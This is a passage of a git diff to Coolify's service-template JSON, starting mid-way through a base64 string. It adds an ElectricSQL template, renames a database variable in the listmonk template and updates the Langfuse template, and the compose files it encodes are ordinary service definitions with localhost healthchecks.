xfTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvcHVibGljL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBsYW5nZnVzZS13b3JrZXI6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlLXdvcmtlcjozJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnU0FMVD0ke1NFUlZJQ0VfUEFTU1dPUkRfU0FMVH0nCiAgICAgIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUz0ke0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM6LWZhbHNlfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAgICAgLSAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBSRURJU19QT1JUPTYzNzkKICAgICAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogICAgICAtICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIGNsaWNraG91c2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTctYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtaCBsb2NhbGhvc3QgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OCcKICAgIGNvbW1hbmQ6CiAgICAgIC0gc2gKICAgICAgLSAnLWMnCiAgICAgIC0gJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICIkU0VSVklDRV9QQVNTV09SRF9SRURJUyInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3JlZGlzX2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAkU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogM3MKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDEwCiAgY2xpY2tob3VzZToKICAgIGltYWdlOiAnY2xpY2tob3VzZS9jbGlja2hvdXNlLXNlcnZlcjoyNi4yLjQuMjMnCiAgICB1c2VyOiAnMTAxOjEwMScKICAgIGVudmlyb25tZW50OgogICAgICAtICdDTElDS0hPVVNFX0RCPSR7Q0xJQ0tIT1VTRV9EQjotZGVmYXVsdH0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2RhdGE6L3Zhci9saWIvY2xpY2tob3VzZScKICAgICAgLSAnbGFuZ2Z1c2VfY2xpY2tob3VzZV9sb2dzOi92YXIvbG9nL2NsaWNraG91c2Utc2VydmVyJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICd3Z2V0IC0tbm8tdmVyYm9zZSAtLXRyaWVzPTEgLS1zcGlkZXIgaHR0cDovL2xvY2FsaG9zdDo4MTIzL3BpbmcgfHwgZXhpdCAxJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAK", "tags": [ "ai", "qdrant", @@ -2502,7 +2518,7 @@ "listmonk": { "documentation": "https://listmonk.app/?utm_source=coolify.io", "slogan": "Self-hosted newsletter and mailing list manager", - "compose": "c2VydmljZXM6CiAgbGlzdG1vbms6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0xJU1RNT05LXzkwMDAKICAgICAgLSAnTElTVE1PTktfYXBwX19hZGRyZXNzPTAuMC4wLjA6OTAwMCcKICAgICAgLSBMSVNUTU9OS19kYl9faG9zdD1wb3N0Z3JlcwogICAgICAtIExJU1RNT05LX2RiX19uYW1lPWxpc3Rtb25rCiAgICAgIC0gTElTVE1PTktfZGJfX3VzZXI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wYXNzd29yZD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wb3J0PTU0MzIKICAgICAgLSBUWj1FdGMvVVRDCiAgICB2b2x1bWVzOgogICAgICAtICdsaXN0bW9uay1kYXRhOi9saXN0bW9uay91cGxvYWRzJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjkwMDAnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgbGlzdG1vbmstaW5pdGlhbC1kYXRhYmFzZS1zZXR1cDoKICAgIGltYWdlOiAnbGlzdG1vbmsvbGlzdG1vbms6djYuMC4wJwogICAgY29tbWFuZDogJy4vbGlzdG1vbmsgLS1pbnN0YWxsIC0teWVzIC0taWRlbXBvdGVudCcKICAgIHJlc3RhcnQ6ICdubycKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBMSVNUTU9OS19kYl9faG9zdD1wb3N0Z3JlcwogICAgICAtIExJU1RNT05LX2RiX19uYW1lPWxpc3Rtb25rCiAgICAgIC0gTElTVE1PTktfZGJfX3VzZXI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wYXNzd29yZD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIExJU1RNT05LX2RiX19wb3J0PTU0MzIKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTgtYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfREI9bGlzdG1vbmsKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIFBPU1RHUkVTX1VTRVI9JFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "c2VydmljZXM6CiAgbGlzdG1vbms6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX0xJU1RNT05LXzkwMDAKICAgICAgLSAnTElTVE1PTktfYXBwX19hZGRyZXNzPTAuMC4wLjA6OTAwMCcKICAgICAgLSBMSVNUTU9OS19kYl9faG9zdD1wb3N0Z3JlcwogICAgICAtIExJU1RNT05LX2RiX19kYXRhYmFzZT1saXN0bW9uawogICAgICAtIExJU1RNT05LX2RiX191c2VyPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcGFzc3dvcmQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSBMSVNUTU9OS19kYl9fcG9ydD01NDMyCiAgICAgIC0gVFo9RXRjL1VUQwogICAgdm9sdW1lczoKICAgICAgLSAnbGlzdG1vbmstZGF0YTovbGlzdG1vbmsvdXBsb2FkcycKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSB3Z2V0CiAgICAgICAgLSAnLXEnCiAgICAgICAgLSAnLS1zcGlkZXInCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo5MDAwJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIGxpc3Rtb25rLWluaXRpYWwtZGF0YWJhc2Utc2V0dXA6CiAgICBpbWFnZTogJ2xpc3Rtb25rL2xpc3Rtb25rOnY2LjAuMCcKICAgIGNvbW1hbmQ6ICcuL2xpc3Rtb25rIC0taW5zdGFsbCAtLXllcyAtLWlkZW1wb3RlbnQnCiAgICByZXN0YXJ0OiAnbm8nCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTElTVE1PTktfZGJfX2hvc3Q9cG9zdGdyZXMKICAgICAgLSBMSVNUTU9OS19kYl9fZGF0YWJhc2U9bGlzdG1vbmsKICAgICAgLSBMSVNUTU9OS19kYl9fdXNlcj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gTElTVE1PTktfZGJfX3Bhc3N3b3JkPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gTElTVE1PTktfZGJfX3BvcnQ9NTQzMgogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxOC1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19EQj1saXN0bW9uawogICAgICAtIFBPU1RHUkVTX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlcy1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "newsletter", "mailing list", diff --git a/templates/service-templates.json b/templates/service-templates.json index 85445faf6..768f43985 100644 --- a/templates/service-templates.json +++ b/templates/service-templates.json @@ -1102,6 +1102,22 @@ "minversion": "0.0.0", "port": "9200" }, + "electricsql": { + "documentation": "https://electric-sql.com/docs/guides/deployment?utm_source=coolify.io", + "slogan": "Sync shape-based subsets of your Postgres data over HTTP.", + "compose": "c2VydmljZXM6CiAgZWxlY3RyaWM6CiAgICBpbWFnZTogJ2VsZWN0cmljc3FsL2VsZWN0cmljOjEuNC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0VMRUNUUklDXzMwMDAKICAgICAgLSAnREFUQUJBU0VfVVJMPSR7REFUQUJBU0VfVVJMOj99JwogICAgICAtICdFTEVDVFJJQ19TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0VMRUNUUklDfScKICAgICAgLSBFTEVDVFJJQ19TVE9SQUdFX0RJUj0vYXBwL3BlcnNpc3RlbnQKICAgICAgLSAnRUxFQ1RSSUNfVVNBR0VfUkVQT1JUSU5HPSR7RUxFQ1RSSUNfVVNBR0VfUkVQT1JUSU5HOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICdlbGVjdHJpY19kYXRhOi9hcHAvcGVyc2lzdGVudCcKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTozMDAwL3YxL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiA1Cg==", + "tags": [ + "electric", + "electricsql", + "realtime", + "sync", + "postgresql" + ], + "category": "backend", + "logo": "svgs/electricsql.svg", + "minversion": "0.0.0", + "port": "3000" + }, "emby": { "documentation": "https://emby.media/support/articles/Home.html?utm_source=coolify.io", "slogan": "A media server software that allows you to organize, stream, and access your multimedia content effortlessly.", @@ -2356,7 +2372,7 @@ "langfuse": { "documentation": "https://langfuse.com/docs?utm_source=coolify.io", "slogan": "Langfuse is an open-source LLM engineering platform that helps teams collaboratively debug, analyze, and iterate on their LLM applications.", - "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfRlFETl9MQU5HRlVTRX0nCiAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAtICdFTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfTEFOR0ZVU0V9JwogIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogIC0gJ0NMSUNLSE9VU0VfTUlHUkFUSU9OX1VSTD1jbGlja2hvdXNlOi8vY2xpY2tob3VzZTo5MDAwJwogIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogIC0gJ0NMSUNLSE9VU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0NMSUNLSE9VU0V9JwogIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYOi1ldmVudHMvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFU